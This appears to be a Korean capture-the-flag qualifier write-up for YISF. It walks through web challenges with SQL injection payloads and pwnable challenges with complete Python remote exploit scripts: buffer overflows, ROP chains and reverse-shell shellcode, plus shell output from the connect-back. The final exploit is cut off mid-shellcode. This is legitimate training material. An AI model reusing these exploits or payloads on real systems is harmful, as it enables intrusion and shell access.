Microsoft Word _YISF_QUAL_WRITE-UP_pwn3r.docx

Size: px
Start display at page:

Download "Microsoft Word _YISF_QUAL_WRITE-UP_pwn3r.docx"

Transcription

1 10th 청소년정보보호페스티벌 예선전문제풀이보고서 Name : 권혁 Nick : pwn3r austinkwon2@gmail.com 1

2 2

3 WARMING-UP (1) Point : 50 Catergory : Trivial Type. WARMING-UP (1) [50] Subject [by. Rust] Heaven's;Gate Content " 시작은미미하지만그끝은창대하리라 " 안녕하세요 ~ 첫문제는간단하게가볼까요? 소스를보세요! :D >>> print Count(Solver) 76 Hint Summary : view-source 주어진페이지에들어가서소스를확인하자아래사진과같이쿠키를확인하라는문자열이주석처리되어있 다. 쿠키를확인하자 Authkey 라는이름의쿠키가있었고, 쿠키값을인증시도했더니인증에성공했다. AuthKey=Welc0me_t0_Y1SF_GoodD4Y; Flag : Welc0me_t0_Y1SF_GoodD4Y 3

4 WARMING-UP (2) Point : 50 Catergory : Trivial Type. WARMING-UP (2) [50] Subject [by. UH4CK3R] 원피스 Content Downlod This File :p File: Navi.zip >>> print Count(Solver) 67 Hint Summary : searching gps coordinates 주어진파일의압축을풀자아래와같이 3 개의파일이나왔다. 문제.pdf 파일을열자아래와같이문제가적혀있었다. 항상집에서놀기만하는 백수 이모 (20세) 씨는어느날보물이묻혀있다는전설의동굴이야기를들었고, 할일이없던이모씨는지도를수소문끝에얻어내었다! 지도를보고동굴의위치를찾으시오. 문제에서지도에해당하는지도.jpg 파일을열자 이라는 2 개의좌표가적힌지도가 있었고, 2 개의좌표를구글맵에서검색해서좌표가 " 고수동굴 " 을나타내고있다는것을알았다. 같이주어진 zip 파일의암호로 " 고수동굴 " 을넣어주자 zip 파일의압축을풀수있었고, 추출된파일중 " 문 제 2.pdf" 라는파일을볼수있었다. 해당파일에는색깔이반전된 qr 코드이있었고이를다시반전시켜원본을 qr 코드를얻었다. 4

5 위 qr 코드를스마트폰으로찍자 Ar3_Y0u_Tr34sur3_Hunt3r!? 라는문자열을얻을수있었고, 이문자열로 인증을시도하자인증에성공했다. Flag : Ar3_Y0u_Tr34sur3_Hunt3r!? 5

6 WARMING-UP (3) Point : 50 Catergory : Trivial Type. WARMING-UP (3) [50] Subject [by. savni] Shit The Packet Content 키가 187 인나쁜동현이가내보물을훔쳐갔다. 동현이의컴퓨터에 MITM 공격을해서패킷을캡쳐했다. 단서를찾아보물을찾아오자 File: evidence.pcap >>> print Count(Solver) 60 Hint #1. HEYMAN #2. EOF (End of File) Summary : guessing 주어진파일은 pcap 파일이다. Wireshark 로열어보자수많은 http 접속기록이있었는데, 아무리둘러봐도단서를찾을수없었다. 1 번힌트로 HEYMAN 이주어져서패킷들중 HEYMAN 이라는문자열을가진패킷을찾아보자, 특정네이버 블로그에서첨부파일을받아오는패킷을확인할수있었고첨부파일을추출하자아래와같은 jpg 파일을얻 을수있었다. 6

7 jpg 에적혀있는 " 그곳 " 에대한단서가없어서헤매다가 jpg 파일을헥스에디터로살펴보니아래그림과같이 의심스러운문자열을볼수있었다. 등의필요없는특수문자를없애보자 " blog.naver.com/xlej1234" 라는블로그주소를얻을 수있었고, 해당블로그에들어가보면아래그림과같은볼수있다. jpg 파일과 gif 파일로된 2 개의첨부파일이같이올라가있다. 각각의그림파일엔끊어진문자열들이적혀있어서 2 개의그림파일을옆으로이어붙여제대로된문자열을 얻을수있었다. 위문자열로인증을시도하자인증에성공했다. Flag : I_want_to_have_girlfriend 7

8 WARMING-UP (4) Point : 50 Catergory : Trivial Type. WARMING-UP (4) [50] Subject [by. OzRagwort] Ghost Content 사이버수사대 1 팀김우현. 그는무언가를숨기고있다. 그가숨기고있는것을알아내라! File: Ghost.jpg >>> print Count(Solver) 54 Hint #1. End of Image #2. 4D 5A #3. 숨김파일 Summary : Recovery from jpg file 하나의그림파일이주어졌다. 해당파일을 HxD 로열어보자 PE excutable 파일의매직넘버인 MZ 를발견할수있었다. PE excutable 파일을추출해내고실행시켜보자 "C:\Users\sec\Documents\Ghost\" 디렉토리에몇개의많은그 림파일이생성되었다. 여기서색깔이반전되어있는 QR code 를복구하여스마트폰으로찍자네이버 QR code 랜딩 URL 이나타났고 해당 URL 에접속하자인증키를얻을수있었다. Flag : HADES!^^ 8

9 WARMING-UP (4) Point : 50 Catergory : Trivial Type. WARMING-UP (5) [50] Subject [by. intenila] Dr.Code Content 아니의사양반.. 그게무슨소리요?? Link : warming-up 5 >>> print Count(Solver) 49 Hint #1. Life is short, you need Python! Summary : Porting 주어진파일은별도로없고링크하나가주어졌다. 해당링크에접속하면아래과같은문구가나타난다. ##### Written by pseudo code ##### result <- 0 dest[] <- 93, 58, 44 FOR Num <- 2 to 4 do Mul <- 1 FOR i <- 1 to dest[num-2] do Mul = Mul * Num ENDFOR result <- result + Mul ENDFOR a < b < c <- 0 c <- a ^ b result <- result + c Display result (Display to hexadecimal, not decimal) ##### Hint 1 ##### Sum <- 0 FOR i <- 1 to 10 do Sum = Sum + i ENDFOR Display "Sum : ", Sum Sum : 55 9

10 ##### Hint 2 ##### 1. Authkey's format is not numeric ASCII is converted to 0x 가장위에주어진의사코드를실제로구현하면인증키를출력해줄것같아보인다. Python 으로같은기능을하는스크립트를작성했다. #!/usr/bin/python res = 0 dest = [93, 58, 44] for num in range(2,5): mul = 1 for i in range(1,dest[num-2]+1): mul = mul * num res = res + mul a= L b= L c= 0 c= a^b res = res + c print res 스크립트를실행하자 라는엄청나게큰숫자가출력되었다. 위숫자를 Hex 로바꾸어각바이트를문자로변환하자인증키가나타났다. >>> hex( l)[2:-1].decode("hex") '2012_Olymp1c' Flag : 2012_Olymp1c 10

11 WEB (1) Point : 100 Catergory : Web Type. WEB (1) [100] Subject [by. nyhee] Bulla Content Login plzzzzzz~~~~~~~~~_~~~~~~~ Link : web100 >>> print Count(Solver) 39 Hint #1. admin 말고관리자 ( 소문자 ) #2. key format is a_b Summary : Bypass cookie based authentication 문제 URL 이주어졌다. 해당 URL 에접속해보면 id 와 name 을입력받는폼이있다. 각각의폼에문자열을 입력하고 Login 버튼을누르면로그인을할수있다. admin 이란 id 로도로그인을시도해봤지만 admin 이란문자열을필터링하기때문에로그인에실패했다. 이로미루어보아 admin 이나로그인하는것이최종목표라고생각해볼수있다. 로그인했을당시의쿠키값이단순히 id 와 name 을 base64 encoding 한값이었다. 11

12 Id : pwn3r Pw : pwn3r Cookie : id=awq%3d%2achdum3i%3d ; name= bmftzq%3d%3d%2achdum3i%3d awq%3d%2achdum3i%3d = id*pwn3r bmftzq%3d%3d%2achdum3i%3d = name*pwn3r id 와 name 이모두 pwn3r 일때의쿠키값이다. 앞에쓸데없이 id* 이나 name* 이란값들이 base64 encode 되 어들어가있고그뒤론내가전송해준값이 base64 encode 되어들어갔다. 그래서 id와 name을나타내주는값을 "admin" 을 base64 encode한값으로바꿔주자 admin으로로그인이되었지만아무런변화도없었다. 그래서 administrator를 base64 encode한값인 " YWRtaW5pc3RyYXRvcg==" 로쿠키를변조하자 base64 encode한인증키가나타났고이를 2~3번 decode하자원본인증키가나왔다.( 중간에 _ 신경써줘야함 ) Flag : vlrhsgkek_ ElqlWkrHtlbeK 12

13 WEB (2) Point : 200 Catergory : Web Type. WEB (2) [200] Subject [by. nyhee] NeINyan Content ㅎㅎㅎ검색해봐라요놈들아 Link : web200 >>> print Count(Solver) 21 Hint #1. URL #2. search 입력창 Summary : SQL Injection 주어진 URL 에접속하면아래그림과같은웹페이지를볼수있다. 문제에검색이란단어를힌트로하여검색폼에 SQL Injection 을시도한결과 SQL Injection 취약점이존재하 는것을확인했다. SQL Injection 으로 Database 내부의 table 과 column name 을알아내보았다. 아래가 table name 과 column name 을알아내는데사용한쿼리가적용된 URL 이다. Table name 13

14 board&b_search=a'%20union%20select%201,(select%20table_name%20from%20inform ation_schema.tables%20where%20table_schema=database()%20limit%200,1),3,4,5, 6,7,8%23 Column name board&b_search=a'%20union%20select%201,(select%20column_name%20from%20infor mation_schema.columns%20where%20table_name='users'%20limit%200,1),3,4,5,6,7,8%23 table 중에 users 라는 table 이의심스러워 column name 을확인해본결과아래와같은 column 들을가진다는 것을확인했다. users - userid - key1 - key2 - key3 - key4 key1, key2, key3, key4 에있는값들을확인해보자 key1, key2, key4 에는낚시용도로넣어둔문자열들이들 어있었고 key3 에실제인증키가있었다. Data board&b_search=a'%20union%20select%201,(select%20concat(userid,'%20 %20',ke y1,'%20 %20',key2,'%20 %20',key3,'%20 %20',key4)%20from%20users%20limit%200,1),3,4,5,6,7,8%23 Flag : 2e67e d778550f4a

15 WEB (3) Point : 300 Catergory : Web Type. WEB (3) [300] Subject [by. Rust] D0nt Wry AbUt P4sswd Content Admin " 안녕하세요용사님. 오늘의뢰드릴일은다름이아니라제사이트에관리자로로그인을하는것 입니다. 제가관리자비밀번호를잊어버려서..." You " 하하하. 걱정마세요 ~ 이정도쯤은아무것도아닙니다! 이차가식기전에돌아오겟소." Admin " 어멋, 멋져! _ " Link : web300 문제에코딩미스가있어수정을했습니다. >>> print Count(Solver) 21 Hint Summary : SQL Injection, Bypass filtering 주어진 URL 에접속하면 Web100 문제처럼로그인할수있는 URL 이있고해당문제페이지의소스도주어졌 다. 이번엔 level 1 권한을가지고있는 admin 으로로그인해야한다는것이문제의최종목표이다. 주어진 php 소스는아래와같다. <? $id = $_POST['id']; $pw = $_POST['pw']; if ($id == '' && $pw =='') echo "Welcome Login Menu!<br>Guest ID = guest, Guest PW = guest<br>for more Permission, You must login to level 1 account. (ex.admin)"; 15

16 else if ($id == '') echo "ID is not Empty"; else if ($pw == '') echo "PW is not Empty"; else if(eregi("?",$id)) echo "<font color=red><b>an Error Occurred! : Do not Hack</font></b><br ><br>"; exit(1); if(eregi("load 0x % \n \t / # hex char ascii ord from select update union infor drop challdb1 insert id = true false and \0 admin [0-9]",$pw)) echo "<font color=red><b>an Error Occurred! : Do not Hack</font></b><br ><br>"; exit(1); $query = "select * from challdb1 where id = '".$id."' and passwd = md5('".$ pw."')"; $result if ($result[id]!='') echo 'Welcome, '.$result[id].'!<br>'; echo '<b>your Status</b><br>'; echo 'level : '.$result[level].'<br>'; echo 'id : '.$result[id].'<br>'; echo 'passwd : '.$result[passwd].'<br>'; if ($result[level]==1) echo '<font color=green><b>access Granted!</font></b><br>'; echo 'Auth key is?'; else echo 'More Higher level Required.<br>'; echo '<font color=red><b>access Denied. Out<br></font></b>'; else echo 'Login Failed';?> 서버에 magic quote 옵션이꺼져있어쿼터를넣어주어인젝션이가능하다. php소스에선넘어온변수들에서몇가지문자열을필터링한후쿼리를날린다. id부분에서필터링되는단어는가려져있기때문에알수없다. ( 일단 admin은필터링했음 ) 아무튼 level이란 column의값이 1인레코드만반환되면되는것이므로최종적으로 where level=1과같은역할을수행하는쿼리를만들어전송했다. ')or(not(strcmp(level,not(strcmp('a','a'))))+' admin 으로로그인에성공하자인증키가나타났다. Flag : SQL_QU3RY_1S_V3RyV3Ry_H4RD!!X_X 16

17 PWNABLE (1) Point : 100 Catergory : Pwnable Type. PWNABLES (1) [100] Subject [by. yoyo] MAPS Content 새로운 OS 와 Web Browser 를개발한짱햌커는자신들만이접속할수있는사이트도제작하였다. 이사이트에그들이숨겨둔비밀은? Link : PwN 100 File: maps >>> print Count(Solver) 21 Hint Summary : Bypass string check URL 과 ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이 cgi 서비스로서돌아가고있었 다. ELF excutable 파일의 main 함수부분을디컴파일해보면아래와같은코드를볼수있다. int cdecl main_ () char *v0; // eax@4 char *v1; // eax@5 char *v2; // eax@6 char v4; // [sp+1ah] [bp-66h]@8 char *USER_AGENT; // [sp+6ch] [bp-14h]@1 const char *slash; // [sp+70h] [bp-10h]@2 signed int i; // [sp+74h] [bp-ch]@1 int v8; // [sp+78h] [bp-8h]@2 signed int j; // [sp+7ch] [bp-4h]@7 puts("content-type: text/html\r\n"); USER_AGENT = getenv("http_user_agent"); for ( i = 0; i <= 1; ++i ) slash = strchr(user_agent, '/') + 1; v8 = atoi(slash); v0 = strchr(user_agent, '('); if (!strncmp(v0 + 1, "yoyos", 5u) ) puts("u R Operating yoyos<br />\r"); v1 = strchr(user_agent, '('); if (!strncmp(v1 + 8, "WOW101", 6u) ) puts("u R Playing WOW_LOL<BR />\r"); v2 = strchr(user_agent, '('); if (!strncmp(v2 + 20, "PwningBrowser/ ", 0x15u) ) 17

18 puts("u R Browsing PwningBrowser<BR />\r"); for ( j = 0; j <= 80; ++j ) *(&v4 + j) = USER_AGENT[j]; if ( v8 == 7 ) *(&v4 + j) = USER_AGENT[j]; if ( *(&v4 + j) == 'F' ) print_key_80488cf(); return googlemap_80486db(); HTTP_USER_AGENT 환경변수의주소를가져와서몇가지문자열체크를거친뒤에조건에모두만족했다 면 key 파일을열어서데이터를읽어와클라이언트에게뿌려준다. strncmp 로비교하는값은다맞춰주면되지만마지막에 v4 + j 가 'F' 인지검사하는부분을맞춰주기위해선 v8 이란변수의값이 7 이어야하며, v8 을 7 로맞춰주기위해선 HTTP_USER_AGENT 환경변수값의 7 번째 글자를 '/' 로해주어야한다. 조건에만족하는아래의문자열을전송해주면인증키를획득할수있다. (yoyos/7wow101 PwningBrowser/ )FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFF Flag : gksmfqhflaktlsmstmfrlgud 18

19 PWNABLE (2) Point : 200 Catergory : Pwnable Type. PWNABLES (2) [200] Subject [by. yoyo] Plz G1ve M3 4 LetteR Content Find the Key :7777 key 파일위치 : 자신의홈디렉터리 File: p2 >>> print Count(Solver) 8 Hint #1. one-byte Summary : 1 byte overflow to 0xff byte overflow 서버주소와포트, ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이자체적으로 daemonize 되어돌아가고있었다. ELF excutable 파일은 socket 을이용해자체적으로 daemonize 하는부분이 있었으며접속하는클라이언트에게특정함수를실행시켜주고종료하는역할을했다. ELF excutable 파일에서클라이언트에게호출해주는함수를디컴파일해보면아래와같은코드를볼수있다. ssize_t cdecl sub_8048ba0(int fd) char buf; // [sp+23h] [bp-65h]@1 unsigned int8 v3; // [sp+87h] [bp-1h]@1 v3 = 5; send(fd, "msg1 : ", 7u, 0); recv(fd, &buf, 0x66u, 0); fpurge(); send(fd, "msg2 : ", 7u, 0); return recv(fd, &buf, v3, 0); msg1이라는문자열을클라이언트에게전송해준뒤 recv함수로데이터를전송받는다. 그런데 0x64 byte의스택지역변수에 0x65 byte를전송받기때문에 1 byte overflow가발생한다. 그런데덮을수있는 1 byte를다음 recv호출시 size를지정하는인자로사용되기때문에문제가된다. 1 byte를 0xff로덮어주면스택에있는리턴어드레스를덮을수있을만큼의데이터를전송받을수있다. 그럼이제페이로드를구성해보자. 환경은 FreeBSD 이기때문에왠간한영역엔거의다실행권한이있다. 아래와같은페이로드로리턴어드레스부분을덮어씌워 recv 함수를다시호출해 rwx memory 권한을가진 영역에쉘코드를수신받고 pop ebp ; ret 를수행함으로써수신받은쉘코드로점프해원샷으로해결했다. 19

20 [&(pop ebp ; ret)] [fd] [&.bss] [0x200] [0x0] 이를토대로 Exploit 을작성했다. #!/usr/bin/python from socket import * from struct import pack import time p = lambda x : pack("<l", x) TOKEN = "diselogoscqresffpsh" SHELLCODE = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68[ipaddr]\x66\x68\x7a\x 69\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\ x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80" HOST = " " PORT = 7777 recv_plt = 0x send_plt = 0x pr = 0x08048CE7 fd = 0x rwx_ptr = 0x08049f10 # pop ebp ; ret s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) print s.recv(1024) s.send(token) print s.recv(1024) s.send("a"*0x64 + "\xff") print s.recv(1024) s.send("a"*0x69+ p(recv_plt) + p(pr) + p(fd) + p(rwx_ptr) + p(len(shellcode)) + p(0)) time.sleep(1) s.send(shellcode) time.sleep(1) s.close() * 쉘코드에서 ip 지정하는부분은일부러지움 작성한 Exploit 을실행하면지정해준 ip 와 port 로리버스쉘이붙을것이다. 지정해준서버에서 port 를연뒤 Exploit 을실행해본다. [pwn3r@localhost p2]$./exploit.py Authkey : msg1 : msg2 : root@localhost:~# nc -lvp listening on [any] : inverse host lookup failed: Unknown server error : Connection 20

21 timed out connect to [ ] from (UNKNOWN) [ ] id uid=1004(p2) gid=1004(p2) groups=1004(p2) cat key bofguqrhrdmldhtlsrjtdmfghksdudgkqslek 서버의쉘을획득하고정상적으로인증키를획득했다. Flag : bofguqrhrdmldhtlsrjtdmfghksdudgkqslek 21

22 PWNABLE (3) Point : 300 Catergory : Pwnable Type. PWNABLES (3) [300] Subject [by. yoyo] What R U D0ing N0W? Content plz Find the Key :8080 File: p3 >>> print Count(Solver) 7 Hint Summary : Bypass string check 서버주소와포트, ELF excutable 파일이주어졌다. 주어진서버에서 ELF excutable 파일이자체적으로 daemonize 되어돌아가고있었다. ELF excutable 파일은 socket 을이용해자체적으로 daemonize 하는부분이 있었으며접속하는클라이언트에게특정함수를실행시켜주고종료하는역할을했다. ELF excutable 파일에서클라이언트에게호출해주는함수를디컴파일해보면아래와같은코드를볼수있다. ssize_t cdecl real_8048b80(int fd) ssize_t result; // eax@2 char menu; // [sp+1ch] [bp-2fch]@1 char buffer; // [sp+58h] [bp-2c0h]@2 char v4; // [sp+24ch] [bp-cch]@2 size_t n; // [sp+314h] [bp-4h]@1 n = 10; fflush(_stdinp); send(fd, "What R U doing?\n1. Watching Tv\n2. Play the Game\n3. shovel\nnumber : ", 0x44u, 0); recv(fd, &menu, 0xAu, 0); if ( strncmp(&menu, "tv", 2u) ) if ( strncmp(&menu, "game", 4u) ) if ( strncmp(&menu, "shovel", 6u) ) send(fd, "What???\n", 9u, 0); exit(-1); send(fd, "shovel??\nmsg1 : ", 0x11u, 0); recv(fd, &buffer, 0x1F4u, 0); send(fd, "Umm...??\nmsg2 : ", 0xFu, 0); n = count_8048e60(&buffer); result = recv(fd, &v4, n, 0); else 22

23 send(fd, "Oh, I like game. Do You like Game?\nmsg1 : ", 0x2Au, 0); recv(fd, &buffer, 0x1F4u, 0); send(fd, "msg2 : ", 7u, 0); result = recv(fd, &v4, n, 0); else send(fd, "What Do you like Tv program?\nmsg1 : ", 0x25u, 0); recv(fd, &buffer, 0x1F4u, 0); send(fd, "msg2 : ", 7u, 0); result = recv(fd, &v4, n, 0); return result; 처음에메뉴를입력받은후그에맞는동작을수행한다. 그중에서도글자색을빨간색으로설정한부분에서취약점이발생한다. shovel 이란메뉴를선택하면사용자 로부터데이터를전송받고, 다시한번그사이즈만큼데이터를전송받는다. 그런데문제는첫번째로데 이터를전송받는변수는 0x1F4 byte 의변수에최대 0x1F4 byte 만큼의데이터를입력받을수있는데에비 해 0xCC 만큼의변수에 0x1F4 만큼의데이터를전송해줄수있기때문에스택에저장되어있는리턴어드레 스를조작해줄수있다. 그럼이제페이로드를구성해보자. 환경은 FreeBSD이기때문에왠간한영역엔거의다실행권한이있다. 게다가 2번문제와거의유사하기때문에 Exploit을살짝수정해서해결할수있었다. 아래와같은페이로드로리턴어드레스부분을덮어씌워 recv함수를다시호출해 rwx memory권한을가진영역에쉘코드를수신받고 pop ebp ; ret를수행함으로써수신받은쉘코드로점프해원샷으로해결했다. [recv@plt] [&(pop ebp ; ret)] [fd] [&.bss] [0x200] [0x0] 이를토대로 Exploit 을작성했다. #!/usr/bin/python from socket import * from struct import pack import time p = lambda x : pack("<l", x) TOKEN = "yisfthackyouforyou!" SHELLCODE = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68[ipaddr]\x66\x68\x7a\x 69\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\ x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80" HOST = " " PORT = 8080 recv_plt = 0x pr = 0x08048F27 fd = 0x rwx_ptr = 0x0804a224 # pop ebp ; ret s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) 23

24 print s.recv(1024) s.send(token) print s.recv(1024) s.send("shovel") print s.recv(1024) s.send("a"*0x1f0 + "\x00") print s.recv(1024) s.send("a"*0xd0+ p(recv_plt) + p(pr) + p(fd) + p(rwx_ptr) + p(len(shellcode)) + p(0)) time.sleep(1) s.send(shellcode) time.sleep(1) s.close() * 쉘코드에서 ip 지정하는부분은일부러지움 작성한 Exploit 을실행하면지정해준 ip 와 port 로리버스쉘이붙을것이다. 지정해준서버에서 port 를연뒤 Exploit 을실행해본다. [pwn3r@localhost p3]$./exploit.py Authkey : What R U doing? 1. Watching Tv 2. Play the Game 3. shovel NUMBER : shovel?? msg1 : Umm...?? msg2 root@localhost:~# nc -lvp listening on [any] : inverse host lookup failed: Unknown server error : Connection timed out connect to [ ] from (UNKNOWN) [ ] id uid=1005(p3) gid=1005(p3) groups=1005(p3) cat key dhkdldkdldptmdpvmglaemfek 서버의쉘을획득하고정상적으로인증키를획득했다. Flag : dhkdldkdldptmdpvmglaemfek 24

25 PWNABLE (4) Point : 400 Catergory : Pwnable Type. PWNABLES (4) [400] Subject [by. yoyo] 최신이지롱 Content 말그대로최신ㅇㅇ레알ㅇㅇ :9090 File: p4 >>> print Count(Solver) 2 Hint Summary : Simple remote buffer overflow on Ubuntu 서버주소와포트, ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이자체적으로 daemonize 되어돌아가고있었다. ELF excutable 파일은 socket 을이용해자체적으로 daemonize 하는부분이 있었으며접속하는클라이언트에게특정함수를실행시켜주고종료하는역할을했다. ELF excutable 파일에서클라이언트에게호출해주는함수를디컴파일해보면아래와같은코드를볼수있다. char * cdecl client_callback_80489b7(int fd) char dest; // [sp+10h] [bp-200h]@1 send(fd, "Welcome YISF!! GOOD LOCk\n", 0x1Au, 0); recv(fd, src, 0x400u, 0); return strcpy(&dest, src); 코드자체는매우간단하며 buffer overflow 취약점도 strcpy함수에서대놓고드러나있다. 하지만문제가되는것은문제서버의 OS가레알최신버전이라는것이다. 확인해본정보론 Ubuntu12.04라고한다. 그래서대회당시엔 ASLR과 NX가모두적용되어있을것이라고생각하고풀이를진행했지만, 대회가끝나고이문제를푼다른분께물어보았더니바이너리에 execstack 옵션이붙어있어대부분의메모리에실행권한이있었다고한다. 아무튼본인이풀이한방법으로풀이를진행하겠다. 이문제는 JFF seanson2 때본인이출제했던 silly100 이라는문제와매우유사하다. 그래서풀이에적어둔 내용을이문제에도그대로적용시켜풀이할것이다. (*silly100 풀이 : 뒤에서소개할 Payload 에대한이해를위해잠시다른내용으로빠지겠다. 일반적으로리눅스의버젼이점점높아져갈수록 RWX 권한을가진메모리는점점줄어들어갔고, 25

26 최신버젼리눅스의바이너리에선 RWX 메모리를찾아볼수없게되었다. 라고대부분의사람들은생각한다. 하지만그게정말일까? 대답은당연히 NO, 다구라다. 그렇다면그렇게생각하게된근거는무엇일까? 한번 silly100 문제의문제서버 OS 인 Ubuntu 에서 -o 옵션으로단순히컴파일된바이너리의 메모리맵을보도록하자. (gdb) she cat /proc/2166/maps b000 r-xp : /lib/ld so 0012b c000 r--p 0001a000 08: /lib/ld so 0012c d000 rw-p 0001b000 08: /lib/ld so 0012d e000 r-xp :00 0 [vdso] 0012e r-xp : /lib/tls/i686/cmov/libc so p : /lib/tls/i686/cmov/libc so r--p : /lib/tls/i686/cmov/libc so rw-p : /lib/tls/i686/cmov/libc so rw-p : r-xp : /home/pwn3r/test a000 r--p : /home/pwn3r/test 0804a b000 rw-p : /home/pwn3r/test b7fef000-b7ff0000 rw-p :00 0 b7ffe000-b rw-p :00 0 bffeb000-c rw-p :00 0 [stack] 위에나오는것처럼 RWX 메모리는보이지않는다. 메모리맵파일에는표시되어있지않지만, 아래부분이바로 RWX 권한을가진메모리이다. 0012c d000 rw-p 0001b000 08: /lib/ld so 실제로는저영역에 x권한이주어졌지만, maps파일에업데이트가되지않아표시되지않는것이라고한다. (* 모든리눅스에서이영역에 RWX 권한이있는것은아니다.) 이내용은 passket님에의해발견되어 POC2011에서발표되었다. 내설명이구리다면아래 URL에가서읽어보길바란다. (* 관련포스팅 : 아무튼다짜고짜이곳이 RWX memory 라고만써놓으면어떻게하란것인가. 한번 gdb 로증명해보자. 우선 gdb 에서프로그램을실행한후, 메모리맵을읽어 RWX memory 의범위를알아낸다. 그리고해당 RWX memory 의범위내에서임의의주소에 NOP 명령을집어넣고 EIP 를 NOP 명령이있는 주소로바꾸어정상적으로 NOP 명령이실행되는지확인해보도록한다. (gdb) set *(0x0012c000) = 0x (gdb) set $eip = 0x0012c000 (gdb) x/i $eip => 0x12c000: nop (gdb) ni 0x0012c001 in?? () from /lib/ld-linux.so.2 (gdb) ni 0x0012c002 in?? () from /lib/ld-linux.so.2 26

27 성공적으로실행되는것이확인되었다 :) ( 원래 gdb 에선실행권한이없는영역에서명령을실행하려하면에러를출력하고진행되지않는다.) 이 RWX memory 를이용하면 mprotect 나 mmap 함수등을부르지않고도바로 shellcode 를실행시킬수 있다. 그런데 RWX memory가이미메모리상에존재한다는것은확인되었지만, 이걸공격에바로적용시키기엔문제가있다. RWX memory 영역에해당하는자리는다이나믹링커중일부분이기때문에 ASLR 적용범위에포함이된다. 이메모리주소마저알아낼수없다면여태껏설명한내용들이모두필요없게되겠지만, 다행히도 GOT + 4에서이 RWX memory 범위에포함된주소를가리키고있다. 따라서우리는 GOT+4 저장되어있는주소를 leak 하거나다른페이로드에복사시켜, 최종적으론 RWX memory 에쉘코드를입력받도록하고 RWX memory 로점프해버리면곧바로쉘코드를 실행시켜버릴수있다. 그럼이제 Exploit 작성을위해 payload 를구성해보자. 우선, payload 의최종목표는 "RWX memory" 에쉘코드를입력받도록하고, 그곳으로점프하는 것이다. 마침 recv 함수나 strcpy 함수같은공유라이브러리함수들을사용하기때문에, 데이터입력을받고자할때, 해당함수의 PLT 를이용할수있어편리하다. 안그래도 payload 를넣을수있는공간이 1024 bytes 이기때문에 Exploit 하기편한데 입력받는버퍼가전역변수이기도해서고정주소에원하는 payload 를엄청난사이즈만큼 넣어줄수있게된것이다. 정리하자면, payload 구성할때우리가최대한이용해야할것들은아래와같다. 1) 입력함수 : recv@plt 2) 복사함수 : strcpy@plt 3) 전역변수 ( 고정주소를가짐 ) 4) RWX memory Payload 는크게 3 개의 stage 로나눌것이다. 세번째 stage(stage_2) 는 recv함수를이용해 RWX memory에데이터를입력받도록하는 payload 이고, 두번째 stage(stage_1) 는 send함수를이용해 &GOT+4가가리키고있는 RWX memory 주소를알아내고 recv함수로새로운 payload를수신받아새로운 payload로스택프레임을옮기는 payload이다.( 새로운 payload로 STAGE_2가전송될것임 ) 첫번째 stage(stage_0) 는 payload가 strcpy함수를통해 Stack에복사될때 NULL byte는복사되지못한다는점을극복하기위해전역변수에있는 STAGE_1 payload로스택프레임을옮기는 payload이다. 결국최종 payload 는아래와같다. 27

28 STAGE_0 [&(pop ebp;ret)] [&STAGE_1-4] [&(leave;ret)] STAGE_1 [&(pop;pop;pop;pop;ret)] [fd] [&GOT+4] [0x4] [0x0] [&(pop;pop;pop;pop;ret)] [fd] [&freespace] [len(stage_2)] [0x0] [&(pop ebp;ret)] [&freespace-4] [&(leave;ret)] STAGE_2 [&(pop;ret)] [fd] [&(RWX memory)] [len(shellcode)] [0x0] STAGE 0 payload에서전역변수에있는 STAGE_1 payload로스택프레임을옮겨가면 STAGE_1 payload가실행되면서 &GOT+4가가리키고있는 RWX memory를공격자에게 send함수로전송해주고, recv함수로새로운 payload의입력을기다린다. 이때공격자는 send함수로전송받은 RWX memory를통해 STAGE_2 payload의구성을마치고 recv함수로새로운 payload를기다리고있는서버에게 STAGE_2 payload를전송해준다. 새로운 payload를수신받은서버는 leave;ret을통해새로운 payload로스택프레임을옮겨간다. 스택프레임이이동되어 recv 함수로 RWX memory 에입력을기다릴때, 쉘코드를전송해주면 서버는 RWX memory 에쉘코드를입력받은후 pop ebp;ret 명령이있는주소로리턴하기때문에최종적으로 RWX memory 로 RET 하게되는것이다. 그럼이제이론은성립됬으니실제로 Exploit 해보자. 아래는최종 Exploit 이다. #!/usr/bin/python from socket import * from struct import pack, unpack import time p = lambda x : pack("<l", x) SHELLCODE = "\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb3\x01\x31\xc0\xb0\x66\xcd\x80\x89\xc7\x 31\xc0\x50\x50\x68[IPADDR]\xb6\xa7\xb2\x1e\xc1\xe2\x10\xb2\x02\x52\x6a\x10\x8d\x44\ x24\x04\x50\x57\x89\xe1\x31\xdb\xb3\x03\x31\xc0\xb0\x66\xcd\x80\x89\xfb\x89\xfd\x31 \xc0\x50\xb8\x67\x6f\x6f\x61\x40\x40\x50\x31\xd2\xb2\x04\x89\xe1\x31\xc0\xb0\x04\xc d\x80\x31\xc0\x50\x68\x2f\x6b\x65\x79\x68\x65\x2f\x70\x34\x68\x2f\x68\x6f\x6d\x89\x c1\x89\xe3\xb0\x05\xcd\x80\x89\xc6\x50\x31\xc0\x50\x31\xd2\xb2\x04\x89\xe1\x89\xcf\ 